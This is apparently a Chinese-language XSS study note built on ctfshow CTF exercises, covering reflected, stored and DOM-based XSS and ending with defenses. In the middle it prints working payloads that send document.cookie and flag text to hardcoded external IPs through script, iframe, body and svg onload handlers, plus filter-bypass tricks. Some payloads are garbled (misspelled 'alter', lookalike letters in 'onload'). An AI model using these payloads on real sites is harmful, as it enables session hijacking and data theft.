一、A03-2 XSS跨站脚本注入
OWASP2021 将 XSS 正式归类为 A03 注入漏洞(前端JS解释器注入),不再独立榜单。XSS属于客户端代码注入,核心成因:用户可控输入未过滤、未编码,直接回显渲染到前端页面,被浏览器当成JS代码执行。
1.1 核心定义
XSS跨站脚本漏洞是典型的客户端注入漏洞。Web应用信任用户可控输入数据,未做HTML、JS编码转义,直接将用户输入内容输出渲染到前端页面。浏览器无法区分正常页面代码与用户输入的恶意脚本,会正常解析执行恶意JS语句,最终实现窃取用户数据、劫持会话、篡改页面、钓鱼攻击等恶意操作。
简单概括:攻击者向网页注入恶意脚本,其他用户访问页面即自动执行脚本,被恶意操控账号与数据。
1.2 漏洞成立三大核心前提
1.参数完全可控:用户可自定义输入内容,包含输入框、URL参数、留言评论、个人资料、请求参数等各类可传参点位;
2.过滤机制失效/可绕过:仅采用简单黑名单过滤标签、关键字,无白名单校验、无输出编码,各类变形Payload均可逃逸防护;
3.前端回显渲染执行:输入内容可在页面回显,且浏览器可解析HTML标签、JS事件,不会纯文本原样展示。
1.3 漏洞底层原理
正常网页渲染逻辑中,用户输入仅作为普通文本数据展示,浏览器只会渲染文字内容,不会解析执行其中的标签与脚本。
若网站未对输出内容做编码转义,用户输入的 <script>、onerror、onclick 等标签与事件代码会被浏览器识别为正规页面代码。浏览器按照HTML、JS解析规则执行恶意脚本,打破页面原有展示逻辑,实现代码注入执行。
漏洞本质:前端页面数据与代码未分离,可控用户数据被浏览器解析为可执行脚本代码。
二、漏洞详情
如何判断是否可以用XSS漏洞:
输入<script>alter();</script>,看是否会弹出弹框
confirm也是弹窗
可能存在的地方:
有用户输入输出,用户交互的地方,都可能存在xss
1.反射型xss
攻击者将恶意脚本嵌入到请求中,目标服务器将其反射到响应中。例如,通过 URL 参数传入恶意代码,目标页面在渲染时执行了该代码。
又称非持久性xss,具有一次性。攻击者通过邮件等形式将包含xss代码的连接发送给正常用户,当用户点击时,服务器接收该用户的请求并进行处理,然后把带有xss代码发送给用户,用户浏览器解析执行代码,出发xss漏洞。
<?echo $_GET["uname"]'?>或 <script>alter(document.cookie);</script>利用反射xss盗取cookie
url?uname=<script>window.location.href='http://xxxx/web316.php?cookie='+document.cookie</script>document.location 是控制页面 URL 和导航的核心 API,将浏览器重定向到攻击者的服务器,熟练掌握其用法能实现:
- 页面跳转
- URL 解析
- 锚点控制
- 刷新策略
但在现代单页应用 (SPA) 中,建议优先使用 history.pushState() 实现无刷新路由。
2.存储型xss
又称持久型xss,其攻击脚本将被永久的存放在目标服务器的数据库或者文件中,具有很高的隐蔽性。
这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永远地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。
3.DOM型xss
使用DOM语句动态访问和更新文档的内容、结构及样式。通过解析index.html把页面组织成一种dom文档,关联起来方便后续加工
DOM型漏洞其实是一种特殊的反射型XSS 漏洞,它是基于DOM文档对象模型的一种漏洞。
domxss 通过js代码操作dom文档对象模型时触发的漏洞一般不与数据库进行交互(中低危)
攻击方式:用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本,而是当用户的浏览器处理这个响应时,DOM 就会处理XSS代码,导致存在XSS漏洞
通过HTML DOM,树中的所有结点均可通过JavaScript进行访问。所有HTML元素(节点)均可被修改,也可以创建或删除节点。
可能触发DOMxss的js操作:
document.referer
window.name
location.href获取当前网址innerHTML
documen.writewindow.location.search获取当前网站的数据?xxx=xxx
单引号闭合a标签script标签套在a标签里面无效,利用οnclick=‘alert()”>
document 是浏览器中代表当前网页的 JavaScript 对象。它是 文档对象模型(DOM) 的入口,通过它可以访问和操作页面中的所有内容
在浏览器环境中,document 是 window 对象的一个属性,因此 window.document 和直接写 document 是等价的。简而言之,它就是网页的“根”对象,让你用 JavaScript 与页面交互。
<script>window.open('http://120.46.41.173:9023/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>
1、innerHTML:
从对象的起始位置到终止位置的全部内容,不包括Html标签。
innerText可替代innerHTML2、outerHTML:
除了包含innerHTML的全部内容外, 还包含对象标签本身。
<script>$('laytable-cell-1-0-1').each(function(index,value){if(value.innerText.indexOf('ctfshow{')>-1){location.href='http://116.62.188.166/Test/cookie.php?cookie='+value.innerText}});</script>
使用 jQuery 选择器,获取所有 class 包含 laytable-cell-1-0-1 的元素。这类类名常见于 LayUI 框架生成的表格,通常表示表格中某一列的单元格容器。
遍历匹配到的每个元素。
- value 是原生 DOM 元素对象。
检查该元素的 可见文本内容 是否包含子串 ctfshow{
如果条件成立,立即将当前页面重定向(跳转)到拼接后的 URL:
http://116.62.188.166/Test/cookie.php?cookie= + 该元素的文本内容。
关键词绕过:
以这种方式排查过滤,试出他过滤了script,img,空格。
<script>绕过
<iframe>标签:在一个页面里嵌入另一个页面
<iframe οnlοad="window.location.href='http://47.89.157.219:80/web316.php?cookie='+document.cookie">
<body οnlοad="window.location.href='http://47.89.157.219:80/web316.php?cookie='+document.cookie">
<svg οnlοad="window.location.href='http://47.89.157.219:80/web316.php?cookie='+document.cookie">
空格过滤
/**/ %09 %0A %0C %0D %20都可以试一试
iframe/οnlοad="window.location.href='http://ip/cookie.php?cookie='+document.cookie"</iframe>
iframe/**/οnlοad="window.location.href='http://47.89.157.219:80/web316.php?cookie='+document.cookie"
svg/**/οnlοad="window.location.href='http://47.89.157.219:80/web316.php?cookie='+document.cookie"
三、防御
1. 核心根治:前端输出HTML编码、JS编码,彻底隔离数据与代码;
2. 后端严格校验:采用白名单机制,禁止高危标签与事件关键字;
3. Cookie安全加固:配置HttpOnly属性,禁止脚本读取Cookie;
4. 部署CSP安全策略:限制脚本加载与执行源,拦截恶意脚本运行;
5. 过滤黑名单兜底:多层过滤高危标签、事件、伪协议,辅助防护;
6. 前端渲染规范:禁止innerHTML、eval等危险渲染与执行方法。